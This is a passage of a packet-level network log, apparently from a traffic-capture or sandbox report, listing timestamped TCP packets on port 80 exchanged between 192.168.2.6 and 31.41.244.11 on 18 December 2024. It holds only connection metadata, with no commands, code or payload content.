Dec 18, 2024 11:47:20.168803930 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.168838978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.169352055 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.169398069 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.169589043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.169631958 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.170588970 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.170603991 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.170722961 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.171943903 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.171957970 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.172020912 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.172020912 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.173013926 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.173062086 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.173080921 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.173116922 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.174158096 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.174171925 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.174200058 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.174226999 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.175295115 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.175308943 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.175343037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.176312923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.176325083 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.176366091 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.177630901 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.177644014 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.177673101 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.177706003 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.178705931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.178718090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.178755999 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.179790974 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.179837942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.180226088 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.180268049 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.181124926 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.181138039 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.181174994 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.181188107 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.182184935 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.182234049 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.182291031 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.182336092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.183439970 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.183530092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.183561087 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.183607101 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.184454918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.184506893 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.184711933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.184757948 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.185666084 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.185714960 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.185776949 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.185837030 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.186945915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.186995029 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.187002897 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.187072039 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.188191891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.188247919 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.188663006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.188735962 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.189181089 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.189223051 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.189232111 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.189269066 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.190505981 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.190520048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.190548897 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.190577984 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.191596031 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.191608906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.191648960 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.192728043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.192778111 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.193727016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.193777084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.193917990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.193964958 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.194431067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.194478035 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.195045948 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.195095062 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.195355892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.195400953 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.196569920 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.196624994 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.197036982 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.197082043 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.197648048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.197693110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.197757006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.197798967 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.198560953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.198612928 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.198669910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.198853016 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.200401068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.200449944 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.200632095 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.200674057 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.201111078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.201123953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.201155901 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.201169014 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.202749014 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.202761889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.202799082 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.203350067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.203403950 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.203432083 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.203475952 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.204530001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.204543114 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.204580069 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.205617905 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.205665112 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.205939054 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.205985069 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.206716061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.206763029 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.207273960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.207340956 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.207897902 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.207938910 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.208925962 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.208972931 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.209031105 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.209088087 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.209182978 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.209239006 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.210215092 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.210261106 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.210810900 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.210856915 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.211739063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.211751938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.211824894 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.211824894 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.212635040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.212708950 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.212723017 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.212763071 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.213720083 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.213767052 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.214174986 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.214217901 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.214864016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.214910030 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.215331078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.215377092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.216200113 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.216217995 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.216243982 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.216262102 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.217499971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.217550993 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.217608929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.217654943 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.218786955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.218801022 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.218839884 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.218854904 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.219625950 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.219674110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.219877005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.219923973 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.220797062 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.220844030 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.221108913 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.221155882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.221903086 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.221955061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.222779036 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.222821951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.223218918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.223231077 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.223269939 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.224241018 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.224289894 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.224358082 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.224397898 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.225476027 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.225523949 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.225665092 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.225711107 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.226654053 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.226743937 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.226778984 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.226814985 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.227900982 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.227915049 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.227957010 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.228050947 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.228952885 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.229012012 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.229042053 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.229089022 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.230137110 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.230189085 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.360302925 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.360318899 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.360332012 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.360342979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.360402107 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.360440969 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.361413956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.361471891 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.361501932 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.361546040 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.363364935 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.363378048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.363413095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.363425970 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.364229918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.364242077 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.364288092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.365010023 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.365021944 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.365046978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.365072966 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.367369890 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.367382050 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.367413044 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.367429018 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.367784023 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.367826939 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.368303061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.368345022 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.368849039 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.368892908 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.369370937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.369409084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.371525049 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.371536016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.371556997 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.371572018 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.373706102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.373718023 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.373745918 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.373763084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.374087095 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.374136925 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.374237061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.374342918 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.375133038 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.375171900 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.375325918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.375369072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.376669884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.376682043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.376693964 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.376713037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.376733065 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.377549887 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.377573013 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.377592087 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.377609015 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.378211975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.378309011 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.379570007 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.379580975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.379592896 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.379611969 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.379643917 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.380778074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.380796909 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.380808115 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.380824089 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.380842924 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.381721020 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.381731987 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.381759882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.381778002 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.382707119 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.382719040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.382759094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.384217024 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.384227991 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.384284019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.384313107 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.385283947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.385296106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.385322094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.385335922 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.386976957 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.386990070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.387028933 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.387044907 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.387325048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.387378931 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.387433052 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.387482882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.388509989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.388525009 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.388555050 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.388569117 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.389527082 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.389565945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.389720917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.389764071 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.390856028 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.390958071 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.390990019 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.391064882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.391931057 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.391972065 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.392194986 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.392234087 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.393452883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.393465042 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.393522978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.394922972 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.394936085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.394970894 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.394994020 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.395375967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.395415068 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.395967960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.396007061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.396661997 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.396706104 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.396739006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.396800995 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.397983074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.397996902 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.398025990 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.398914099 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.398926973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.398971081 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.400062084 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.400105000 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.400333881 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.400374889 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.401318073 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.401350975 CET	49806	80	192.168.2.6	31.41.244.11
